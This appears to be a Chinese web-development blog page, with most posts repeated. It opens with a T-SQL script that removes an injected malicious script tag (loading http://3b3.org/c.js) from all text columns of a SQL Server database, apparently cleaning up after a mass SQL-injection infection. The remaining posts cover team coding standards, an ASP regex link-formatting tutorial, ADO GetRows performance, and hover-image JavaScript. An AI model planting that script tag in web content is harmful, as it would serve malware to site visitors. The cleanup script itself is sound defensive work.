declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for select a.name,b.name
from sysobjects a,syscolumns b ,systypes c
where a.id=b.id and a.xtype='u' and c.name
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext'/* --这里如果你的text(ntext)类型没有超过8000(4000)长度,才可以使用*/)
declare @str varchar(500),@str2 varchar(500)
set @str='<script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script>' /*这里是你要替换的字符*/
set @str2='' /*替换后的字符*/
open table_cursor
fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')
fetch next from table_cursor
into @t,@c end close table_cursor deallocate table_cursor;
一、 开发成员
a)项目主管
b)页面美工
c)页面开发
d)服务端程序开发
e)系统与数据管理
f)测试与版本控制
二、 网站组开发简明流程
三、 开发工具与环境
a) 服务器配置
i. WEB服务器: FreeBSD6.1+Apache2.0+PHP5.0,SVN版本控制服务(仅测试机)。
ii. 数据库服务器: WIN2003 server+SQL server 2000+MySQL5.0,CLUSTERED SERVER 集群服务,邮件服务器。
iii. 100M/1000M交换机
b) 开发工具
i. 前台: Macromedia flash 8.0、Macromedia Dreamweaver 8.0、Adobe photoshop CS
ii. 后台: Zend Studio 5.2、SQL Server Enterprise Manager、PhpMyAdmin
四、 技术规则
a) 浏览器兼容策略: 兼容IE5.0以上版本,同时兼容FireFOX2.0以上浏览器。
b) 搜索引擎优化: 着重针对baidu、Google、Yahoo搜索优化,制作清晰明确的网站地图。
c) 字符编码规则: 中文网站一率采用GB2312字符标准。
d) 文件与文件夹命名: 为兼容win32与unix系统,一率采用小写字母命名。
e) 公共文件命名规则:
i. 默认首页: index.htm、index.html、index.php
ii. 主CSS文件: style.css
iii. 主JS文件: main.js
iv. 主程序配置文件:config.php
f) 公共文件目录统一命名
i. 图片目录: /images 或者 /pic
ii. CSS样式目录: /css
iii. JS脚本程序目录:/js
iv. 模板文件目录: /tpl
v. 类或者组件目录:/class 或者 /lib
g) 页面脚本规范: 统一采用JavaScript
h) 代码中的类、函数、变量名:统一使用近似英文单词命名,如:DefaultClass 或者 default_class
i) 代码注释规则:所有程序中的函数或者过程必须加确切的注释。
j) 数据库相关规则
i. 数据表与字段命名规则: 全部小写字母命名,并归类命名前缀,如:用户表组,user_passport、user_info、user_service….
ii. 日期类型字段: 统一使用unix时间戳,char(12)
iii. 主关键字命名: 所有表必须建立以id命名的主键。
k) 模板组件规则: 统一使用兼容版本的Smarty,统一缓存目录,便于Unix下权限控制。
l) 数据库虚拟层: 统一使用Adodb 或 Pdo,SQL语句要兼容现有主流数据库规则。
m) 工厂模式开发规则: 以comm.php为中心开发或继承组件类,统一控制文件调用IO与类的实例化。
n) 面向对象开发规则: 所有函数必须以类 ---> 过程的方式存在。
o) SQL封装规则: 所有SQL语句及数据库查询必须存在于过程中。
p) URL转向规则: 为优化搜索引擎,尽量使用Apache的mod_rewrite模块来美化URL,如:http://www.1598.net/action.php?id=123 转化为:http://www.1598.net/action/id/123 或者http://www.1598.net/action/id_123.html
五、 网站安全与维护策略
a) 服务器与数据库安全:
i. 建立完善的病毒防御机制,安装防火墙,关闭服务器上任何不必要的端口以及服务。
ii. 统一管理用户权限,定期跟踪用户及系统事件,定期查看系统日志。
b) 容灾与备份机制:
i. 建立数据库集群,至少保持一台服务器同步数据,确保意外发生时数据库系统可自动转移到正常的服务器稳定运行。
ii. 定期备份文件及数据,通过各种方式保存数据与文件。
c) 程序安全策略:
i. SQL注入防范:坚决过滤不可预见的非法字符,严格做好数据库查询、更新的SQL语句检验。
ii. 不使用来路不明的第三方源码,不轻易将未知代码拷贝到服务器。
a)项目主管
b)页面美工
c)页面开发
d)服务端程序开发
e)系统与数据管理
f)测试与版本控制
二、 网站组开发简明流程
三、 开发工具与环境
a) 服务器配置
i. WEB服务器: FreeBSD6.1+Apache2.0+PHP5.0,SVN版本控制服务(仅测试机)。
ii. 数据库服务器: WIN2003 server+SQL server 2000+MySQL5.0,CLUSTERED SERVER 集群服务,邮件服务器。
iii. 100M/1000M交换机
b) 开发工具
i. 前台: Macromedia flash 8.0、Macromedia Dreamweaver 8.0、Adobe photoshop CS
ii. 后台: Zend Studio 5.2、SQL Server Enterprise Manager、PhpMyAdmin
四、 技术规则
a) 浏览器兼容策略: 兼容IE5.0以上版本,同时兼容FireFOX2.0以上浏览器。
b) 搜索引擎优化: 着重针对baidu、Google、Yahoo搜索优化,制作清晰明确的网站地图。
c) 字符编码规则: 中文网站一率采用GB2312字符标准。
d) 文件与文件夹命名: 为兼容win32与unix系统,一率采用小写字母命名。
e) 公共文件命名规则:
i. 默认首页: index.htm、index.html、index.php
ii. 主CSS文件: style.css
iii. 主JS文件: main.js
iv. 主程序配置文件:config.php
f) 公共文件目录统一命名
i. 图片目录: /images 或者 /pic
ii. CSS样式目录: /css
iii. JS脚本程序目录:/js
iv. 模板文件目录: /tpl
v. 类或者组件目录:/class 或者 /lib
g) 页面脚本规范: 统一采用JavaScript
h) 代码中的类、函数、变量名:统一使用近似英文单词命名,如:DefaultClass 或者 default_class
i) 代码注释规则:所有程序中的函数或者过程必须加确切的注释。
j) 数据库相关规则
i. 数据表与字段命名规则: 全部小写字母命名,并归类命名前缀,如:用户表组,user_passport、user_info、user_service….
ii. 日期类型字段: 统一使用unix时间戳,char(12)
iii. 主关键字命名: 所有表必须建立以id命名的主键。
k) 模板组件规则: 统一使用兼容版本的Smarty,统一缓存目录,便于Unix下权限控制。
l) 数据库虚拟层: 统一使用Adodb 或 Pdo,SQL语句要兼容现有主流数据库规则。
m) 工厂模式开发规则: 以comm.php为中心开发或继承组件类,统一控制文件调用IO与类的实例化。
n) 面向对象开发规则: 所有函数必须以类 ---> 过程的方式存在。
o) SQL封装规则: 所有SQL语句及数据库查询必须存在于过程中。
p) URL转向规则: 为优化搜索引擎,尽量使用Apache的mod_rewrite模块来美化URL,如:http://www.1598.net/action.php?id=123 转化为:http://www.1598.net/action/id/123 或者http://www.1598.net/action/id_123.html
五、 网站安全与维护策略
a) 服务器与数据库安全:
i. 建立完善的病毒防御机制,安装防火墙,关闭服务器上任何不必要的端口以及服务。
ii. 统一管理用户权限,定期跟踪用户及系统事件,定期查看系统日志。
b) 容灾与备份机制:
i. 建立数据库集群,至少保持一台服务器同步数据,确保意外发生时数据库系统可自动转移到正常的服务器稳定运行。
ii. 定期备份文件及数据,通过各种方式保存数据与文件。
c) 程序安全策略:
i. SQL注入防范:坚决过滤不可预见的非法字符,严格做好数据库查询、更新的SQL语句检验。
ii. 不使用来路不明的第三方源码,不轻易将未知代码拷贝到服务器。
在ASP中,使用正则表达式前需声明对象“set re=new RegExp”。
RegExp有三个重要属性:
1. global:设置或返回一个布尔值,指明搜索匹配字符串时是针对全部文本还是只匹配第一处,默认为false
2. ignoreCase:设置或返回一个布尔值,指明搜索字符串时是否区分大小写,默认为false
3. pattern:此项以正则表达式(即形同"[^]]*"之类的式子)表示,指明匹配模式,此为必设项
RegExp对象的方法:
1. RegExp.replace(string, text):在文本string中,将以pattern模式找到的匹配字符串替换为变量text,并返回替换后文本
2. RegExp.test(string):在文本string中搜索匹配字串,如有匹配则返回true,否则返回false
3. RegExp.execute(string):在文本string中搜索匹配字串,并将各匹配字串分别放在各Match对象中,后返回所有Match对象之集合Matches
Match对象的属性:
1. firstIndex:返回该对象对应匹配字串的首字母在原始文本中的索引,以“0”为起始位置
2. length:返回匹配字串长度
3. value:返回匹配字串
下面回顾一下上次的函数:
set re=new regExp '建立正则表达式对象regular expression
re.IgnoreCase=true '忽略大小写
re.Global=true
'---------搜索匹配字串针对全部文本而不是仅一处
re.Pattern="((http|https|ftp):\/\/([\w-]+\.)+[\w]+(\/[\w-]+)*[\/]?([\w-]+\.[\w]+)?(\?[\w]+=[\w]+(&[\w]+=[\w]+)*)?)"
'上面一句,最外层一个圆括号,其中的所有字串可用"$1"表示,"$2"表示第一个嵌套括号中的字串"http|https|ftp"(这里只用到"$1")。
'以这个网址为例说明匹配情况 "http://www.jinminghou.cn/test/index.asp?p=1&q=2":
'"http|https|ftp"表示三者中的一个,匹配网址的前缀"http";
'":\/\/"用到了转义字符"\",等价于"://";
'"[\w]"匹配单个字母、数字和下划线,"[\w-]"匹配单个"\w"或"-","[\w-]+"匹配至少一个"\w"或"-","[\w-]+\."匹配一个以"."结束的字串如"ming-hou.",而"([\w-]+\.)+"则匹配多个以"."结束的字串如这里的"www.jinminghou.";
'"[\w]+"匹配这里的"com";
'"(\/[\w-]+)*"匹配0个或以上类似"/v1"的字串,这是可有可无的;
'"[\/]?"表示网址后的"/"可有可无,但不超过一个;
'"([\w-]+\.[\w]+)?"匹配0或1个这里的"index.htm";
'再看最后的"?p=1&q=2",这种以"?"开始的字串最多只有一个,而其中以"&"开始的则可有多个。"\?[\w]+=[\w]+"匹配"?p=1","&[\w]+=[\w]+"匹配"&q=2",后加"*"表示可重复0~N次,而"(\?[\w]+=……+)*)?"后的"?"表示整个以"?"开始的参数可重复0~1次。
str=re.replace(str,"$1")
最后,以Pattern指定的模式替换匹配文本,上面的"$1"表示最外层圆括号内的整个网址。
如下是一段自动识别链接的代码:
function autoLink(str)
str=" "&str
set re=new regExp '建立正则表达式对象regular expression
re.IgnoreCase=true '忽略大小写
re.Global=true
'---------搜索匹配字串针对全部文本而不是仅一处
'查找带协议前缀(如http)的链接
re.Pattern="((http|https|ftp):\/\/([\w-]+\.)+[\w]+(\/[\w-]+)*[\/]?([\w-]+\.[\w]+)?(\?[\w]+=[\w]+(&[\w]+=[\w]+)*)?)"
str=re.replace(str,"$1")
'查找不带协议前缀的链接
re.Pattern="([^\/])(www\.([\w-]+\.)+[\w]+(\/[\w-]+)*[\/]?([\w-]+\.[\w]+)?(\?[\w]+=[\w]+(&[\w]+=[\w]+)*)?)"
str=re.replace(str,"$1$2")
'查找邮件链接
re.Pattern="(mailto:)?([\w]+@([\w-]+\.)+[\w]+)"
str=re.replace(str,"$1$2")
set re=nothing
str=trim(str)
autolink=str
end function
不过这个函数尚有一个缺欠,便是如果在无协议前缀的链接前加上“\”成为“\www.jinminghou.cn”便不能自动链接了,希望以后能改正这一点。
下面介绍一下正则表达式的特殊字符:
“^”后接字符为字串开头:如"^b"匹配"bing"而不匹配"abc"
“$”前接字符为字串末尾:如"g$"匹配"bing"而不匹配"fgh"
“*”前接字符重复0~N次:如"go*gle"匹配"ggle"和"goooogle"
“+”前接字符重复1~N次:如"go+gle"匹配"gogle"和"gooogle"而不匹配"ggle"
“?”前接字符重复0或1次:如"go?gle"匹配"ggle"和"gogle"而不匹配"gooogle"
“.”表示除换行符外的所有字符:如".b"匹配"ab","cb",".+"匹配不换行的所有字符串
“|”表示“或”:如"ab|cd"同时匹配"ab"和"cd"而不匹配"abcd"
“( )”表示一或多个字符,从前往后,圆括号中的匹配字符串依次以$1,……$9,……返回:如"(bi(ng)z)hu(o)"中,$1代表"bi(ng)z",$2代表"ng",$3代表"o"
“[ ]”中可有多个字符,但只表示其中一个:如"[xyx]"匹配"x","y","z"但不匹配"xyz",等同于"x|y|z";另,"[abcde]"这种连续字符可简写为"[a-e]","[abcde12345]"可简写为"[a-e1-5]"
“[^ ]”表示除括号内字符以外的单个字符:如"[^xyz]"匹配"w","a"而不匹配"x","y";"[^abcde]"亦可简写为"[^a-e]"
“{n}”n为一数字,表示前接字符重复次数:如"a{3}"表示"aaa"
“{n,}”表示前接字符至少重复n次:如"a{3}"匹配"aaa"和"aaaaa"而不匹配"aa"
“{n,m}”表示前接字符至少重复n次,至多重复m次
“\”为转义字符,后接上述特殊字符时表示该字符:如"\?"表示"?","\["表示"["
“\w”匹配数字+字母+下划线集合;“\W”匹配除“\w”外的其他字符
“\d”匹配单个数字,“\D”匹配非数字
RegExp有三个重要属性:
1. global:设置或返回一个布尔值,指明搜索匹配字符串时是针对全部文本还是只匹配第一处,默认为false
2. ignoreCase:设置或返回一个布尔值,指明搜索字符串时是否区分大小写,默认为false
3. pattern:此项以正则表达式(即形同"[^]]*"之类的式子)表示,指明匹配模式,此为必设项
RegExp对象的方法:
1. RegExp.replace(string, text):在文本string中,将以pattern模式找到的匹配字符串替换为变量text,并返回替换后文本
2. RegExp.test(string):在文本string中搜索匹配字串,如有匹配则返回true,否则返回false
3. RegExp.execute(string):在文本string中搜索匹配字串,并将各匹配字串分别放在各Match对象中,后返回所有Match对象之集合Matches
Match对象的属性:
1. firstIndex:返回该对象对应匹配字串的首字母在原始文本中的索引,以“0”为起始位置
2. length:返回匹配字串长度
3. value:返回匹配字串
下面回顾一下上次的函数:
set re=new regExp '建立正则表达式对象regular expression
re.IgnoreCase=true '忽略大小写
re.Global=true
'---------搜索匹配字串针对全部文本而不是仅一处
re.Pattern="((http|https|ftp):\/\/([\w-]+\.)+[\w]+(\/[\w-]+)*[\/]?([\w-]+\.[\w]+)?(\?[\w]+=[\w]+(&[\w]+=[\w]+)*)?)"
'上面一句,最外层一个圆括号,其中的所有字串可用"$1"表示,"$2"表示第一个嵌套括号中的字串"http|https|ftp"(这里只用到"$1")。
'以这个网址为例说明匹配情况 "http://www.jinminghou.cn/test/index.asp?p=1&q=2":
'"http|https|ftp"表示三者中的一个,匹配网址的前缀"http";
'":\/\/"用到了转义字符"\",等价于"://";
'"[\w]"匹配单个字母、数字和下划线,"[\w-]"匹配单个"\w"或"-","[\w-]+"匹配至少一个"\w"或"-","[\w-]+\."匹配一个以"."结束的字串如"ming-hou.",而"([\w-]+\.)+"则匹配多个以"."结束的字串如这里的"www.jinminghou.";
'"[\w]+"匹配这里的"com";
'"(\/[\w-]+)*"匹配0个或以上类似"/v1"的字串,这是可有可无的;
'"[\/]?"表示网址后的"/"可有可无,但不超过一个;
'"([\w-]+\.[\w]+)?"匹配0或1个这里的"index.htm";
'再看最后的"?p=1&q=2",这种以"?"开始的字串最多只有一个,而其中以"&"开始的则可有多个。"\?[\w]+=[\w]+"匹配"?p=1","&[\w]+=[\w]+"匹配"&q=2",后加"*"表示可重复0~N次,而"(\?[\w]+=……+)*)?"后的"?"表示整个以"?"开始的参数可重复0~1次。
str=re.replace(str,"$1")
最后,以Pattern指定的模式替换匹配文本,上面的"$1"表示最外层圆括号内的整个网址。
如下是一段自动识别链接的代码:
function autoLink(str)
str=" "&str
set re=new regExp '建立正则表达式对象regular expression
re.IgnoreCase=true '忽略大小写
re.Global=true
'---------搜索匹配字串针对全部文本而不是仅一处
'查找带协议前缀(如http)的链接
re.Pattern="((http|https|ftp):\/\/([\w-]+\.)+[\w]+(\/[\w-]+)*[\/]?([\w-]+\.[\w]+)?(\?[\w]+=[\w]+(&[\w]+=[\w]+)*)?)"
str=re.replace(str,"$1")
'查找不带协议前缀的链接
re.Pattern="([^\/])(www\.([\w-]+\.)+[\w]+(\/[\w-]+)*[\/]?([\w-]+\.[\w]+)?(\?[\w]+=[\w]+(&[\w]+=[\w]+)*)?)"
str=re.replace(str,"$1$2")
'查找邮件链接
re.Pattern="(mailto:)?([\w]+@([\w-]+\.)+[\w]+)"
str=re.replace(str,"$1$2")
set re=nothing
str=trim(str)
autolink=str
end function
不过这个函数尚有一个缺欠,便是如果在无协议前缀的链接前加上“\”成为“\www.jinminghou.cn”便不能自动链接了,希望以后能改正这一点。
下面介绍一下正则表达式的特殊字符:
“^”后接字符为字串开头:如"^b"匹配"bing"而不匹配"abc"
“$”前接字符为字串末尾:如"g$"匹配"bing"而不匹配"fgh"
“*”前接字符重复0~N次:如"go*gle"匹配"ggle"和"goooogle"
“+”前接字符重复1~N次:如"go+gle"匹配"gogle"和"gooogle"而不匹配"ggle"
“?”前接字符重复0或1次:如"go?gle"匹配"ggle"和"gogle"而不匹配"gooogle"
“.”表示除换行符外的所有字符:如".b"匹配"ab","cb",".+"匹配不换行的所有字符串
“|”表示“或”:如"ab|cd"同时匹配"ab"和"cd"而不匹配"abcd"
“( )”表示一或多个字符,从前往后,圆括号中的匹配字符串依次以$1,……$9,……返回:如"(bi(ng)z)hu(o)"中,$1代表"bi(ng)z",$2代表"ng",$3代表"o"
“[ ]”中可有多个字符,但只表示其中一个:如"[xyx]"匹配"x","y","z"但不匹配"xyz",等同于"x|y|z";另,"[abcde]"这种连续字符可简写为"[a-e]","[abcde12345]"可简写为"[a-e1-5]"
“[^ ]”表示除括号内字符以外的单个字符:如"[^xyz]"匹配"w","a"而不匹配"x","y";"[^abcde]"亦可简写为"[^a-e]"
“{n}”n为一数字,表示前接字符重复次数:如"a{3}"表示"aaa"
“{n,}”表示前接字符至少重复n次:如"a{3}"匹配"aaa"和"aaaaa"而不匹配"aa"
“{n,m}”表示前接字符至少重复n次,至多重复m次
“\”为转义字符,后接上述特殊字符时表示该字符:如"\?"表示"?","\["表示"["
“\w”匹配数字+字母+下划线集合;“\W”匹配除“\w”外的其他字符
“\d”匹配单个数字,“\D”匹配非数字
现有10W条数据,Access数据库保存
通过正常提取:
<%
Set conn= Server.CreateObject("ADODB.Connection")
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("db2.mdb")
conn.Open connstr
Set rs = Server.CreateObject ("ADODB.Recordset")
sql = "Select * from people order by id desc"
rs.Open sql,conn,1,1
Do While Not rs.EOF
Response.write rs("id")&" | "
rs.MoveNext
Loop
%>
http://www.cnbruce.com/test/getrows/show1.asp
耗时3,250.000毫秒,总测试平均值在3秒左右
==========================================================
使用存储过程提取:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Set cmd = Server.CreateObject("ADODB.Command")
conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("db2.mdb")
cmd.ActiveConnection = conn
cmd.CommandText = "Select * from people order by id desc"
Set rs = cmd.Execute
Do While Not rs.EOF
Response.write rs("id")&" | "
rs.MoveNext
Loop
%>
http://www.cnbruce.com/test/getrows/show2.asp
耗时2,187.500毫秒,总测试平均值在2秒左右
=========================================================
以上两种均不能彻底解决执行时间漫长的问题,主要原因即是循环每次都须向数据库抽取记录(Command速度相对较快)
那么使用GetRows()方法呢:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Set cmd = Server.CreateObject("ADODB.Command")
conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("db2.mdb")
cmd.ActiveConnection = conn
cmd.CommandText = "Select * from people order by id desc"
Set rs = cmd.Execute
rsArray = rs.GetRows()
For i = 0 To UBound(rsArray, 2)
Response.Write rsArray(0, i)&" | "
Next
%>
http://www.cnbruce.com/test/getrows/show3.asp
耗时187.500毫秒,总测试平均值在0.2秒左右
GetRows()方法是将数据从 Recordset 复制到二维数组中,这是一个二维数组,第一个下标标识字段,第二个则标识记录号
所以rsArray = rs.GetRows()
rsArray(0, 0)就表示记录集第一行的第一字段值
rsArray(1, 0)就表示记录集第一行的第二字段值
数组的数据是保存在内存中的,这就从根本上解决了每次显示记录还需向数据库请求的麻烦。
关于GetRows()的介绍
ADO也提供更有效率方法来取得数据。GetRows 方法传回一个二维的数组变量,每一行对应Recordset中的一笔记录,且每一列对应到记录中的字段。此方法的语法如下:
varArray = rs.GetRows([Rows], [Start], [Fields])
Rows 是要读取记录的数量;如果想要取得Recordset所有记录,可用-1或省略此参数。Start 是指出第一个被读取记录的书签;也可以是下列列举常数中的一个:0-adBookmarkCurrent(目前记录)、1-adBookmarkFirst(第一笔记录)、或2-adBookmarkLast(最后记录)。
Fields 是可选择的字段名称数组,其用来限制要读取的数据量。(也可指定单一字段名称、单一字段索引、或者一个字段索引数组)。当设定 Rows 为少于Recordset记录笔数时,第一笔未读取的记录变成现行记录。若省略 Rows 参数或设定为-1-adGetRowsRest或大于未读取的笔数时,GetRows 方法会读取所有记录并让Recordset在EOF状态,而不会产生任何错误。
当处理目的变量数组的数据时,应该记得数据储存方式是有点相反的感觉:数组中第一维定义Recordset的字段(数据行),第二维定义Recordset的数据列。
GetRows 方法通常比一次读一笔记录的循环要来得快些,但使用这方法时,必须确定Recordset未包含太多记录;否则,会很容易以一个非常大的变量数组来填满所有内存。基于相同的原因,得小心不要包括任何BLOB(Binary Large Object)或CLOB(Character Large Object)字段;若如此做的化,应用程序一定会爆掉,特别是对于较大的Recordset而言。最后,记住此方法传回的变量数组是以0为基底的;传回记录的笔数是UBound(values,2)+1,传回字段数是UBound(value, 1)+1。
通过正常提取:
<%
Set conn= Server.CreateObject("ADODB.Connection")
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("db2.mdb")
conn.Open connstr
Set rs = Server.CreateObject ("ADODB.Recordset")
sql = "Select * from people order by id desc"
rs.Open sql,conn,1,1
Do While Not rs.EOF
Response.write rs("id")&" | "
rs.MoveNext
Loop
%>
http://www.cnbruce.com/test/getrows/show1.asp
耗时3,250.000毫秒,总测试平均值在3秒左右
==========================================================
使用存储过程提取:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Set cmd = Server.CreateObject("ADODB.Command")
conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("db2.mdb")
cmd.ActiveConnection = conn
cmd.CommandText = "Select * from people order by id desc"
Set rs = cmd.Execute
Do While Not rs.EOF
Response.write rs("id")&" | "
rs.MoveNext
Loop
%>
http://www.cnbruce.com/test/getrows/show2.asp
耗时2,187.500毫秒,总测试平均值在2秒左右
=========================================================
以上两种均不能彻底解决执行时间漫长的问题,主要原因即是循环每次都须向数据库抽取记录(Command速度相对较快)
那么使用GetRows()方法呢:
<%
Set conn = Server.CreateObject("ADODB.Connection")
Set cmd = Server.CreateObject("ADODB.Command")
conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("db2.mdb")
cmd.ActiveConnection = conn
cmd.CommandText = "Select * from people order by id desc"
Set rs = cmd.Execute
rsArray = rs.GetRows()
For i = 0 To UBound(rsArray, 2)
Response.Write rsArray(0, i)&" | "
Next
%>
http://www.cnbruce.com/test/getrows/show3.asp
耗时187.500毫秒,总测试平均值在0.2秒左右
GetRows()方法是将数据从 Recordset 复制到二维数组中,这是一个二维数组,第一个下标标识字段,第二个则标识记录号
所以rsArray = rs.GetRows()
rsArray(0, 0)就表示记录集第一行的第一字段值
rsArray(1, 0)就表示记录集第一行的第二字段值
数组的数据是保存在内存中的,这就从根本上解决了每次显示记录还需向数据库请求的麻烦。
关于GetRows()的介绍
ADO也提供更有效率方法来取得数据。GetRows 方法传回一个二维的数组变量,每一行对应Recordset中的一笔记录,且每一列对应到记录中的字段。此方法的语法如下:
varArray = rs.GetRows([Rows], [Start], [Fields])
Rows 是要读取记录的数量;如果想要取得Recordset所有记录,可用-1或省略此参数。Start 是指出第一个被读取记录的书签;也可以是下列列举常数中的一个:0-adBookmarkCurrent(目前记录)、1-adBookmarkFirst(第一笔记录)、或2-adBookmarkLast(最后记录)。
Fields 是可选择的字段名称数组,其用来限制要读取的数据量。(也可指定单一字段名称、单一字段索引、或者一个字段索引数组)。当设定 Rows 为少于Recordset记录笔数时,第一笔未读取的记录变成现行记录。若省略 Rows 参数或设定为-1-adGetRowsRest或大于未读取的笔数时,GetRows 方法会读取所有记录并让Recordset在EOF状态,而不会产生任何错误。
当处理目的变量数组的数据时,应该记得数据储存方式是有点相反的感觉:数组中第一维定义Recordset的字段(数据行),第二维定义Recordset的数据列。
GetRows 方法通常比一次读一笔记录的循环要来得快些,但使用这方法时,必须确定Recordset未包含太多记录;否则,会很容易以一个非常大的变量数组来填满所有内存。基于相同的原因,得小心不要包括任何BLOB(Binary Large Object)或CLOB(Character Large Object)字段;若如此做的化,应用程序一定会爆掉,特别是对于较大的Recordset而言。最后,记住此方法传回的变量数组是以0为基底的;传回记录的笔数是UBound(values,2)+1,传回字段数是UBound(value, 1)+1。
当鼠标移到图片上显示大图
怎么使鼠标移到连接上上显示图片呢?
第一种方法:
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_showHideLayers() { //v6.0
var i,p,v,obj,args=MM_showHideLayers.arguments;
for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
obj.visibility=v;
event.clientY <310 ? obj.pixelTop=document.body.scrollTop+event.clientY :obj.pixelTop=document.body.scrollTop+event.clientY -310;
}
}
//-->
</script>
<div style="position:absolute; visibility: hidden;" id="balloon"> <img src="" width="400" height="300" id="image1" border="1"></div>
<a href=连接地址><img src='小图片地址.jpg' width="120" height="90" border=0 title='2007-1-7' onMouseOver="image1.src='大图片地址.jpg';MM_showHideLayers('balloon','','show');" onmouseout="MM_showHideLayers('balloon','','hide')"></a>
第二种方法:
效果如图

下载
下载文件
怎么使鼠标移到连接上上显示图片呢?
第一种方法:
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_showHideLayers() { //v6.0
var i,p,v,obj,args=MM_showHideLayers.arguments;
for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
obj.visibility=v;
event.clientY <310 ? obj.pixelTop=document.body.scrollTop+event.clientY :obj.pixelTop=document.body.scrollTop+event.clientY -310;
}
}
//-->
</script>
<div style="position:absolute; visibility: hidden;" id="balloon"> <img src="" width="400" height="300" id="image1" border="1"></div>
<a href=连接地址><img src='小图片地址.jpg' width="120" height="90" border=0 title='2007-1-7' onMouseOver="image1.src='大图片地址.jpg';MM_showHideLayers('balloon','','show');" onmouseout="MM_showHideLayers('balloon','','hide')"></a>
第二种方法:
效果如图
下载
下载文件 






